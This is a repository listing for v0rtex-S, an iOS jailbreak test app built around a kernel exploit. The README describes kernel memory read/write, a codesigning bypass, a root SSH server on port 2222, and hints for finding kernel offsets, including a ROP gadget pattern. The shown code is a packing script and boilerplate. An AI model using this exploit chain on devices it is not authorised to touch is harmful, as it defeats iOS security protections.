├── .gitignore
├── README.md
├── binCreation
├── bins
│ ├── awk
│ ├── base64
│ ├── basename
│ ├── bash
│ ├── bunzip2
│ ├── busybox
│ ├── bzcat
│ ├── bzip2
│ ├── cat
│ ├── chgrp
│ ├── chmod
│ ├── chown
│ ├── cmp
│ ├── cp
│ ├── cut
│ ├── date
│ ├── dd
│ ├── df
│ ├── diff
│ ├── dirname
│ ├── dpkg
│ ├── dpkg-deb
│ ├── dropbearkey
│ ├── dropbearmulti
│ ├── du
│ ├── echo
│ ├── egrep
│ ├── expand
│ ├── expr
│ ├── fgrep
│ ├── find
│ ├── grep
│ ├── groups
│ ├── gunzip
│ ├── gzip
│ ├── head
│ ├── id
│ ├── install
│ ├── kill
│ ├── killall
│ ├── ln
│ ├── ls
│ ├── lzcat
│ ├── lzma
│ ├── md5sum
│ ├── mkdir
│ ├── mktemp
│ ├── more
│ ├── mv
│ ├── od
│ ├── passwd
│ ├── patch
│ ├── ping
│ ├── printf
│ ├── readlink
│ ├── rm
│ ├── rmdir
│ ├── run-parts
│ ├── scp
│ ├── sed
│ ├── seq
│ ├── sh
│ ├── sha1sum
│ ├── sleep
│ ├── sort
│ ├── split
│ ├── ssh
│ ├── strings
│ ├── sw_vers
│ ├── sync
│ ├── sysctl
│ ├── tac
│ ├── tail
│ ├── tar
│ ├── tee
│ ├── touch
│ ├── tr
│ ├── uicache
│ ├── uname
│ ├── unexpand
│ ├── uniq
│ ├── unlzma
│ ├── unzip
│ ├── vim
│ ├── wc
│ ├── wget
│ ├── which
│ ├── whoami
│ ├── xargs
│ ├── yes
│ └── zcat
└── packBins.sh
├── screenshot.png
├── v0rtex-S
├── AppDelegate.h
├── AppDelegate.m
├── Assets.xcassets
│ └── AppIcon.appiconset
│ │ ├── Contents.json
│ │ ├── ipad.png
│ │ ├── ipad@2x.png
│ │ ├── iphone@2x.png
│ │ └── iphone@3x.png
├── Base.lproj
│ ├── LaunchScreen.storyboard
│ └── Main.storyboard
├── Info.plist
├── ViewController.h
├── ViewController.m
├── amfi.h
├── amfi.m
├── bash
├── bootstrap.tar
├── common.h
├── dropbear
├── kernel.h
├── kernel.m
├── launchctl
├── libjb.a
├── libjb.h
├── main.m
├── patchfinder64.c
├── patchfinder64.h
├── root-rw.h
├── root-rw.m
├── symbols.h
├── symbols.m
├── tar
├── v0rtex.h
└── v0rtex.m
└── v0rtex-s.xcodeproj
├── project.pbxproj
└── project.xcworkspace
└── contents.xcworkspacedata
/.gitignore:
--------------------------------------------------------------------------------
1 | xcuserdata/
2 | docs/
3 | kernels/
4 | icons/
5 | .DS_Store
6 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # v0rtex type-S
2 |
3 | A simple iOS app (including Xcode project) that can be used for testing Siguza's [v0rtex](https://github.com/Siguza/v0rtex) kernel exploit. Implements some post-exploit "kppless" fun, leading to a working shell with ssh access.
4 |
5 |
6 | ## Requirements
7 |
8 | A 64-bit device on iOS 10.3 - 10.3.3
9 |
10 |
11 | ## What you get
12 |
13 | - task for port 0
14 | - kernel memory r/w
15 | - system partition r/w
16 | - AMFI/codesigning patch for included binaries
17 | - Dropbear SSH server listening on port 2222
18 |
19 |
20 | ## Will this mess up my filesystem?
21 |
22 | No. Files are installed to /v0rtex and /v0rtex/bins to avoid contaminating the filesystem.
23 | The only exceptions are: /bin/sh, and .profile files for root and mobile accounts.
24 |
25 |
26 | ## Can I add my own binaries to test?
27 |
28 | Yes. Copy them to the /binCreation/bins directory and run the packBins.sh script to create a new bootstrap.tar file, which you can use to replace the one in the project.
29 |
30 |
31 | ## Screenshot
32 |
33 |
34 |
35 |
36 | ## Offsets
37 |
38 | Currently includes offsets for:
39 |
40 | - iPhone9,3 (iPhone 7) on iOS 10.3.1
41 | - iPhone8,1 (iPhone 6S) on 10.3.2
42 |
43 | To find your own offsets read [this guide](https://gist.github.com/uroboro/5b2b2b2aa1793132c4e91826ce844957).
44 |
45 | There are a few new offsets you will need to find:
46 |
47 | **OFFSET_ROOT_MOUNT_V_NODE**: ```nm | grep -E " _rootvnode$"```
48 |
49 | **OFFSET_CHGPROCCNT**: This offset references the string ```"chgproccnt: lost user"```
50 |
51 | **OFFSET_ROP_LDR_X0_X0_0x10**: Simply search for ```000840f9c0035fd6``` in hex.
52 |
53 | **OFFSET_KAUTH_CRED_REF**: This can be found in the symbols table ```nm | grep kauth_cred_ref```
54 |
55 |
56 | ## Credits
57 |
58 | This project features work from a variety of people. Siguza for the exploit, xerub, ninjaprawn, PscyhoTea, others.
59 |
--------------------------------------------------------------------------------
/binCreation/bins/awk:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Sticktron/v0rtex-S/ace7deddb5b34ddcd57f6e950a9813a4fd2ce74b/binCreation/bins/awk
--------------------------------------------------------------------------------
/binCreation/bins/base64:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Sticktron/v0rtex-S/ace7deddb5b34ddcd57f6e950a9813a4fd2ce74b/binCreation/bins/base64
--------------------------------------------------------------------------------
/binCreation/bins/basename:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Sticktron/v0rtex-S/ace7deddb5b34ddcd57f6e950a9813a4fd2ce74b/binCreation/bins/basename
--------------------------------------------------------------------------------
/binCreation/bins/bash:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Sticktron/v0rtex-S/ace7deddb5b34ddcd57f6e950a9813a4fd2ce74b/binCreation/bins/bash
--------------------------------------------------------------------------------
/binCreation/bins/bunzip2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Sticktron/v0rtex-S/ace7deddb5b34ddcd57f6e950a9813a4fd2ce74b/binCreation/bins/bunzip2
--------------------------------------------------------------------------------
/binCreation/bins/busybox:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Sticktron/v0rtex-S/ace7deddb5b34ddcd57f6e950a9813a4fd2ce74b/binCreation/bins/busybox
--------------------------------------------------------------------------------
/binCreation/bins/bzcat:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Sticktron/v0rtex-S/ace7deddb5b34ddcd57f6e950a9813a4fd2ce74b/binCreation/bins/bzcat
--------------------------------------------------------------------------------
/binCreation/bins/bzip2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Sticktron/v0rtex-S/ace7deddb5b34ddcd57f6e950a9813a4fd2ce74b/binCreation/bins/bzip2
--------------------------------------------------------------------------------
/binCreation/bins/cat:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Sticktron/v0rtex-S/ace7deddb5b34ddcd57f6e950a9813a4fd2ce74b/binCreation/bins/cat
--------------------------------------------------------------------------------
/binCreation/bins/chgrp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Sticktron/v0rtex-S/ace7deddb5b34ddcd57f6e950a9813a4fd2ce74b/binCreation/bins/chgrp
--------------------------------------------------------------------------------
/binCreation/bins/chmod:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Sticktron/v0rtex-S/ace7deddb5b34ddcd57f6e950a9813a4fd2ce74b/binCreation/bins/chmod
--------------------------------------------------------------------------------
/binCreation/bins/chown:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Sticktron/v0rtex-S/ace7deddb5b34ddcd57f6e950a9813a4fd2ce74b/binCreation/bins/chown
--------------------------------------------------------------------------------
/binCreation/bins/cmp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Sticktron/v0rtex-S/ace7deddb5b34ddcd57f6e950a9813a4fd2ce74b/binCreation/bins/cmp
--------------------------------------------------------------------------------
/binCreation/bins/cp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Sticktron/v0rtex-S/ace7deddb5b34ddcd57f6e950a9813a4fd2ce74b/binCreation/bins/cp
--------------------------------------------------------------------------------
/binCreation/bins/cut:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Sticktron/v0rtex-S/ace7deddb5b34ddcd57f6e950a9813a4fd2ce74b/binCreation/bins/cut
--------------------------------------------------------------------------------
/binCreation/bins/date:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Sticktron/v0rtex-S/ace7deddb5b34ddcd57f6e950a9813a4fd2ce74b/binCreation/bins/date
--------------------------------------------------------------------------------
/binCreation/bins/dd:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Sticktron/v0rtex-S/ace7deddb5b34ddcd57f6e950a9813a4fd2ce74b/binCreation/bins/dd
--------------------------------------------------------------------------------
/binCreation/bins/df:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Sticktron/v0rtex-S/ace7deddb5b34ddcd57f6e950a9813a4fd2ce74b/binCreation/bins/df
--------------------------------------------------------------------------------
/binCreation/bins/diff:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Sticktron/v0rtex-S/ace7deddb5b34ddcd57f6e950a9813a4fd2ce74b/binCreation/bins/diff
--------------------------------------------------------------------------------
/binCreation/bins/dirname:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Sticktron/v0rtex-S/ace7deddb5b34ddcd57f6e950a9813a4fd2ce74b/binCreation/bins/dirname
--------------------------------------------------------------------------------
/binCreation/bins/dpkg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Sticktron/v0rtex-S/ace7deddb5b34ddcd57f6e950a9813a4fd2ce74b/binCreation/bins/dpkg
--------------------------------------------------------------------------------
/binCreation/bins/dpkg-deb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Sticktron/v0rtex-S/ace7deddb5b34ddcd57f6e950a9813a4fd2ce74b/binCreation/bins/dpkg-deb
--------------------------------------------------------------------------------
/binCreation/bins/dropbearkey:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Sticktron/v0rtex-S/ace7deddb5b34ddcd57f6e950a9813a4fd2ce74b/binCreation/bins/dropbearkey
--------------------------------------------------------------------------------
/binCreation/bins/dropbearmulti:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Sticktron/v0rtex-S/ace7deddb5b34ddcd57f6e950a9813a4fd2ce74b/binCreation/bins/dropbearmulti
--------------------------------------------------------------------------------
/binCreation/bins/du:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Sticktron/v0rtex-S/ace7deddb5b34ddcd57f6e950a9813a4fd2ce74b/binCreation/bins/du
--------------------------------------------------------------------------------
/binCreation/bins/echo:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Sticktron/v0rtex-S/ace7deddb5b34ddcd57f6e950a9813a4fd2ce74b/binCreation/bins/echo
--------------------------------------------------------------------------------
/binCreation/bins/egrep:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Sticktron/v0rtex-S/ace7deddb5b34ddcd57f6e950a9813a4fd2ce74b/binCreation/bins/egrep
--------------------------------------------------------------------------------
/binCreation/bins/expand:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Sticktron/v0rtex-S/ace7deddb5b34ddcd57f6e950a9813a4fd2ce74b/binCreation/bins/expand
--------------------------------------------------------------------------------
/binCreation/bins/expr:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Sticktron/v0rtex-S/ace7deddb5b34ddcd57f6e950a9813a4fd2ce74b/binCreation/bins/expr
--------------------------------------------------------------------------------
/binCreation/bins/fgrep:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Sticktron/v0rtex-S/ace7deddb5b34ddcd57f6e950a9813a4fd2ce74b/binCreation/bins/fgrep
--------------------------------------------------------------------------------
/binCreation/bins/find:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Sticktron/v0rtex-S/ace7deddb5b34ddcd57f6e950a9813a4fd2ce74b/binCreation/bins/find
--------------------------------------------------------------------------------
/binCreation/bins/grep:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Sticktron/v0rtex-S/ace7deddb5b34ddcd57f6e950a9813a4fd2ce74b/binCreation/bins/grep
--------------------------------------------------------------------------------
/binCreation/bins/groups:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Sticktron/v0rtex-S/ace7deddb5b34ddcd57f6e950a9813a4fd2ce74b/binCreation/bins/groups
--------------------------------------------------------------------------------
/binCreation/bins/gunzip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Sticktron/v0rtex-S/ace7deddb5b34ddcd57f6e950a9813a4fd2ce74b/binCreation/bins/gunzip
--------------------------------------------------------------------------------
/binCreation/bins/gzip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Sticktron/v0rtex-S/ace7deddb5b34ddcd57f6e950a9813a4fd2ce74b/binCreation/bins/gzip
--------------------------------------------------------------------------------
/binCreation/bins/head:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Sticktron/v0rtex-S/ace7deddb5b34ddcd57f6e950a9813a4fd2ce74b/binCreation/bins/head
--------------------------------------------------------------------------------
/binCreation/bins/id:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Sticktron/v0rtex-S/ace7deddb5b34ddcd57f6e950a9813a4fd2ce74b/binCreation/bins/id
--------------------------------------------------------------------------------
/binCreation/bins/install:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Sticktron/v0rtex-S/ace7deddb5b34ddcd57f6e950a9813a4fd2ce74b/binCreation/bins/install
--------------------------------------------------------------------------------
/binCreation/bins/kill:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Sticktron/v0rtex-S/ace7deddb5b34ddcd57f6e950a9813a4fd2ce74b/binCreation/bins/kill
--------------------------------------------------------------------------------
/binCreation/bins/killall:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Sticktron/v0rtex-S/ace7deddb5b34ddcd57f6e950a9813a4fd2ce74b/binCreation/bins/killall
--------------------------------------------------------------------------------
/binCreation/bins/ln:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Sticktron/v0rtex-S/ace7deddb5b34ddcd57f6e950a9813a4fd2ce74b/binCreation/bins/ln
--------------------------------------------------------------------------------
/binCreation/bins/ls:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Sticktron/v0rtex-S/ace7deddb5b34ddcd57f6e950a9813a4fd2ce74b/binCreation/bins/ls
--------------------------------------------------------------------------------
/binCreation/bins/lzcat:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Sticktron/v0rtex-S/ace7deddb5b34ddcd57f6e950a9813a4fd2ce74b/binCreation/bins/lzcat
--------------------------------------------------------------------------------
/binCreation/bins/lzma:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Sticktron/v0rtex-S/ace7deddb5b34ddcd57f6e950a9813a4fd2ce74b/binCreation/bins/lzma
--------------------------------------------------------------------------------
/binCreation/bins/md5sum:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Sticktron/v0rtex-S/ace7deddb5b34ddcd57f6e950a9813a4fd2ce74b/binCreation/bins/md5sum
--------------------------------------------------------------------------------
/binCreation/bins/mkdir:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Sticktron/v0rtex-S/ace7deddb5b34ddcd57f6e950a9813a4fd2ce74b/binCreation/bins/mkdir
--------------------------------------------------------------------------------
/binCreation/bins/mktemp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Sticktron/v0rtex-S/ace7deddb5b34ddcd57f6e950a9813a4fd2ce74b/binCreation/bins/mktemp
--------------------------------------------------------------------------------
/binCreation/bins/more:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Sticktron/v0rtex-S/ace7deddb5b34ddcd57f6e950a9813a4fd2ce74b/binCreation/bins/more
--------------------------------------------------------------------------------
/binCreation/bins/mv:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Sticktron/v0rtex-S/ace7deddb5b34ddcd57f6e950a9813a4fd2ce74b/binCreation/bins/mv
--------------------------------------------------------------------------------
/binCreation/bins/od:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Sticktron/v0rtex-S/ace7deddb5b34ddcd57f6e950a9813a4fd2ce74b/binCreation/bins/od
--------------------------------------------------------------------------------
/binCreation/bins/passwd:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Sticktron/v0rtex-S/ace7deddb5b34ddcd57f6e950a9813a4fd2ce74b/binCreation/bins/passwd
--------------------------------------------------------------------------------
/binCreation/bins/patch:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Sticktron/v0rtex-S/ace7deddb5b34ddcd57f6e950a9813a4fd2ce74b/binCreation/bins/patch
--------------------------------------------------------------------------------
/binCreation/bins/ping:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Sticktron/v0rtex-S/ace7deddb5b34ddcd57f6e950a9813a4fd2ce74b/binCreation/bins/ping
--------------------------------------------------------------------------------
/binCreation/bins/printf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Sticktron/v0rtex-S/ace7deddb5b34ddcd57f6e950a9813a4fd2ce74b/binCreation/bins/printf
--------------------------------------------------------------------------------
/binCreation/bins/readlink:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Sticktron/v0rtex-S/ace7deddb5b34ddcd57f6e950a9813a4fd2ce74b/binCreation/bins/readlink
--------------------------------------------------------------------------------
/binCreation/bins/rm:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Sticktron/v0rtex-S/ace7deddb5b34ddcd57f6e950a9813a4fd2ce74b/binCreation/bins/rm
--------------------------------------------------------------------------------
/binCreation/bins/rmdir:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Sticktron/v0rtex-S/ace7deddb5b34ddcd57f6e950a9813a4fd2ce74b/binCreation/bins/rmdir
--------------------------------------------------------------------------------
/binCreation/bins/run-parts:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Sticktron/v0rtex-S/ace7deddb5b34ddcd57f6e950a9813a4fd2ce74b/binCreation/bins/run-parts
--------------------------------------------------------------------------------
/binCreation/bins/scp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Sticktron/v0rtex-S/ace7deddb5b34ddcd57f6e950a9813a4fd2ce74b/binCreation/bins/scp
--------------------------------------------------------------------------------
/binCreation/bins/sed:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Sticktron/v0rtex-S/ace7deddb5b34ddcd57f6e950a9813a4fd2ce74b/binCreation/bins/sed
--------------------------------------------------------------------------------
/binCreation/bins/seq:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Sticktron/v0rtex-S/ace7deddb5b34ddcd57f6e950a9813a4fd2ce74b/binCreation/bins/seq
--------------------------------------------------------------------------------
/binCreation/bins/sh:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Sticktron/v0rtex-S/ace7deddb5b34ddcd57f6e950a9813a4fd2ce74b/binCreation/bins/sh
--------------------------------------------------------------------------------
/binCreation/bins/sha1sum:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Sticktron/v0rtex-S/ace7deddb5b34ddcd57f6e950a9813a4fd2ce74b/binCreation/bins/sha1sum
--------------------------------------------------------------------------------
/binCreation/bins/sleep:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Sticktron/v0rtex-S/ace7deddb5b34ddcd57f6e950a9813a4fd2ce74b/binCreation/bins/sleep
--------------------------------------------------------------------------------
/binCreation/bins/sort:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Sticktron/v0rtex-S/ace7deddb5b34ddcd57f6e950a9813a4fd2ce74b/binCreation/bins/sort
--------------------------------------------------------------------------------
/binCreation/bins/split:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Sticktron/v0rtex-S/ace7deddb5b34ddcd57f6e950a9813a4fd2ce74b/binCreation/bins/split
--------------------------------------------------------------------------------
/binCreation/bins/ssh:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Sticktron/v0rtex-S/ace7deddb5b34ddcd57f6e950a9813a4fd2ce74b/binCreation/bins/ssh
--------------------------------------------------------------------------------
/binCreation/bins/strings:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Sticktron/v0rtex-S/ace7deddb5b34ddcd57f6e950a9813a4fd2ce74b/binCreation/bins/strings
--------------------------------------------------------------------------------
/binCreation/bins/sw_vers:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Sticktron/v0rtex-S/ace7deddb5b34ddcd57f6e950a9813a4fd2ce74b/binCreation/bins/sw_vers
--------------------------------------------------------------------------------
/binCreation/bins/sync:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Sticktron/v0rtex-S/ace7deddb5b34ddcd57f6e950a9813a4fd2ce74b/binCreation/bins/sync
--------------------------------------------------------------------------------
/binCreation/bins/sysctl:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Sticktron/v0rtex-S/ace7deddb5b34ddcd57f6e950a9813a4fd2ce74b/binCreation/bins/sysctl
--------------------------------------------------------------------------------
/binCreation/bins/tac:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Sticktron/v0rtex-S/ace7deddb5b34ddcd57f6e950a9813a4fd2ce74b/binCreation/bins/tac
--------------------------------------------------------------------------------
/binCreation/bins/tail:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Sticktron/v0rtex-S/ace7deddb5b34ddcd57f6e950a9813a4fd2ce74b/binCreation/bins/tail
--------------------------------------------------------------------------------
/binCreation/bins/tar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Sticktron/v0rtex-S/ace7deddb5b34ddcd57f6e950a9813a4fd2ce74b/binCreation/bins/tar
--------------------------------------------------------------------------------
/binCreation/bins/tee:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Sticktron/v0rtex-S/ace7deddb5b34ddcd57f6e950a9813a4fd2ce74b/binCreation/bins/tee
--------------------------------------------------------------------------------
/binCreation/bins/touch:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Sticktron/v0rtex-S/ace7deddb5b34ddcd57f6e950a9813a4fd2ce74b/binCreation/bins/touch
--------------------------------------------------------------------------------
/binCreation/bins/tr:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Sticktron/v0rtex-S/ace7deddb5b34ddcd57f6e950a9813a4fd2ce74b/binCreation/bins/tr
--------------------------------------------------------------------------------
/binCreation/bins/uicache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Sticktron/v0rtex-S/ace7deddb5b34ddcd57f6e950a9813a4fd2ce74b/binCreation/bins/uicache
--------------------------------------------------------------------------------
/binCreation/bins/uname:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Sticktron/v0rtex-S/ace7deddb5b34ddcd57f6e950a9813a4fd2ce74b/binCreation/bins/uname
--------------------------------------------------------------------------------
/binCreation/bins/unexpand:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Sticktron/v0rtex-S/ace7deddb5b34ddcd57f6e950a9813a4fd2ce74b/binCreation/bins/unexpand
--------------------------------------------------------------------------------
/binCreation/bins/uniq:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Sticktron/v0rtex-S/ace7deddb5b34ddcd57f6e950a9813a4fd2ce74b/binCreation/bins/uniq
--------------------------------------------------------------------------------
/binCreation/bins/unlzma:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Sticktron/v0rtex-S/ace7deddb5b34ddcd57f6e950a9813a4fd2ce74b/binCreation/bins/unlzma
--------------------------------------------------------------------------------
/binCreation/bins/unzip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Sticktron/v0rtex-S/ace7deddb5b34ddcd57f6e950a9813a4fd2ce74b/binCreation/bins/unzip
--------------------------------------------------------------------------------
/binCreation/bins/vim:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Sticktron/v0rtex-S/ace7deddb5b34ddcd57f6e950a9813a4fd2ce74b/binCreation/bins/vim
--------------------------------------------------------------------------------
/binCreation/bins/wc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Sticktron/v0rtex-S/ace7deddb5b34ddcd57f6e950a9813a4fd2ce74b/binCreation/bins/wc
--------------------------------------------------------------------------------
/binCreation/bins/wget:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Sticktron/v0rtex-S/ace7deddb5b34ddcd57f6e950a9813a4fd2ce74b/binCreation/bins/wget
--------------------------------------------------------------------------------
/binCreation/bins/which:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Sticktron/v0rtex-S/ace7deddb5b34ddcd57f6e950a9813a4fd2ce74b/binCreation/bins/which
--------------------------------------------------------------------------------
/binCreation/bins/whoami:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Sticktron/v0rtex-S/ace7deddb5b34ddcd57f6e950a9813a4fd2ce74b/binCreation/bins/whoami
--------------------------------------------------------------------------------
/binCreation/bins/xargs:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Sticktron/v0rtex-S/ace7deddb5b34ddcd57f6e950a9813a4fd2ce74b/binCreation/bins/xargs
--------------------------------------------------------------------------------
/binCreation/bins/yes:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Sticktron/v0rtex-S/ace7deddb5b34ddcd57f6e950a9813a4fd2ce74b/binCreation/bins/yes
--------------------------------------------------------------------------------
/binCreation/bins/zcat:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Sticktron/v0rtex-S/ace7deddb5b34ddcd57f6e950a9813a4fd2ce74b/binCreation/bins/zcat
--------------------------------------------------------------------------------
/binCreation/packBins.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | currDir=$(dirname $0)
4 |
5 | echo "Found current dir: $currDir"
6 |
7 | binCount=$(ls -1q $currDir/bins | wc -l | sed -e 's/^[ `t]*//')
8 |
9 | echo "Found $binCount bins"
10 |
11 | echo "Giving all bins correct permissions (755)..."
12 |
13 | for file in $currDir/bins/*
14 | do
15 | chmod 755 $file
16 | done
17 |
18 | echo "Packing the binpack..."
19 |
20 | cd $currDir
21 | tar -cf bootstrap.tar ./bins/*
22 |
23 | echo "Packed $binCount bins from $currDir/bins into $currDir/bootstrap.tar!"
24 |
25 | echo "Please copy the bootstrap.tar file into the Xcode project!"
26 |
--------------------------------------------------------------------------------
/screenshot.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Sticktron/v0rtex-S/ace7deddb5b34ddcd57f6e950a9813a4fd2ce74b/screenshot.png
--------------------------------------------------------------------------------
/v0rtex-S/AppDelegate.h:
--------------------------------------------------------------------------------
1 | //
2 | // AppDelegate.h
3 | // v0rtex
4 | //
5 | // Created by Sticktron on 2017-12-07.
6 | // Copyright © 2017 Sticktron. All rights reserved.
7 | //
8 |
9 | #import
10 |
11 | @interface AppDelegate : UIResponder
12 |
13 | @property (strong, nonatomic) UIWindow *window;
14 |
15 |
16 | @end
17 |
18 |
--------------------------------------------------------------------------------
/v0rtex-S/AppDelegate.m:
--------------------------------------------------------------------------------
1 | //
2 | // AppDelegate.m
3 | // v0rtex
4 | //
5 | // Created by Sticktron on 2017-12-07.
6 | // Copyright © 2017 Sticktron. All rights reserved.
7 | //
8 |
9 | #import "AppDelegate.h"
10 |
11 | @interface AppDelegate ()
12 |
13 | @end
14 |
15 | @implementation AppDelegate
16 |
17 |
18 | - (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions {
19 | // Override point for customization after application launch.
20 | return YES;
21 | }
22 |
23 |
24 | - (void)applicationWillResignActive:(UIApplication *)application {
25 | // Sent when the application is about to move from active to inactive state. This can occur for certain types of temporary interruptions (such as an incoming phone call or SMS message) or when the user quits the application and it begins the transition to the background state.
26 | // Use this method to pause ongoing tasks, disable timers, and invalidate graphics rendering callbacks. Games should use this method to pause the game.
27 | }
28 |
29 |
30 | - (void)applicationDidEnterBackground:(UIApplication *)application {
31 | // Use this method to release shared resources, save user data, invalidate timers, and store enough application state information to restore your application to its current state in case it is terminated later.
32 | // If your application supports background execution, this method is called instead of applicationWillTerminate: when the user quits.
33 | }
34 |
35 |
36 | - (void)applicationWillEnterForeground:(UIApplication *)application {
37 | // Called as part of the transition from the background to the active state; here you can undo many of the changes made on entering the background.
38 | }
39 |
40 |
41 | - (void)applicationDidBecomeActive:(UIApplication *)application {
42 | // Restart any tasks that were paused (or not yet started) while the application was inactive. If the application was previously in the background, optionally refresh the user interface.
43 | }
44 |
45 |
46 | - (void)applicationWillTerminate:(UIApplication *)application {
47 | // Called when the application is about to terminate. Save data if appropriate. See also applicationDidEnterBackground:.
48 | }
49 |
50 |
51 | @end
52 |
--------------------------------------------------------------------------------
/v0rtex-S/Assets.xcassets/AppIcon.appiconset/Contents.json:
--------------------------------------------------------------------------------
1 | {
2 | "images" : [
3 | {
4 | "idiom" : "iphone",
5 | "size" : "20x20",
6 | "scale" : "2x"
7 | },
8 | {
9 | "idiom" : "iphone",
10 | "size" : "20x20",
11 | "scale" : "3x"
12 | },
13 | {
14 | "idiom" : "iphone",
15 | "size" : "29x29",
16 | "scale" : "2x"
17 | },
18 | {
19 | "idiom" : "iphone",
20 | "size" : "29x29",
21 | "scale" : "3x"
22 | },
23 | {
24 | "idiom" : "iphone",
25 | "size" : "40x40",
26 | "scale" : "2x"
27 | },
28 | {
29 | "idiom" : "iphone",
30 | "size" : "40x40",
31 | "scale" : "3x"
32 | },
33 | {
34 | "size" : "60x60",
35 | "idiom" : "iphone",
36 | "filename" : "iphone@2x.png",
37 | "scale" : "2x"
38 | },
39 | {
40 | "size" : "60x60",
41 | "idiom" : "iphone",
42 | "filename" : "iphone@3x.png",
43 | "scale" : "3x"
44 | },
45 | {
46 | "idiom" : "ipad",
47 | "size" : "20x20",
48 | "scale" : "1x"
49 | },
50 | {
51 | "idiom" : "ipad",
52 | "size" : "20x20",
53 | "scale" : "2x"
54 | },
55 | {
56 | "idiom" : "ipad",
57 | "size" : "29x29",
58 | "scale" : "1x"
59 | },
60 | {
61 | "idiom" : "ipad",
62 | "size" : "29x29",
63 | "scale" : "2x"
64 | },
65 | {
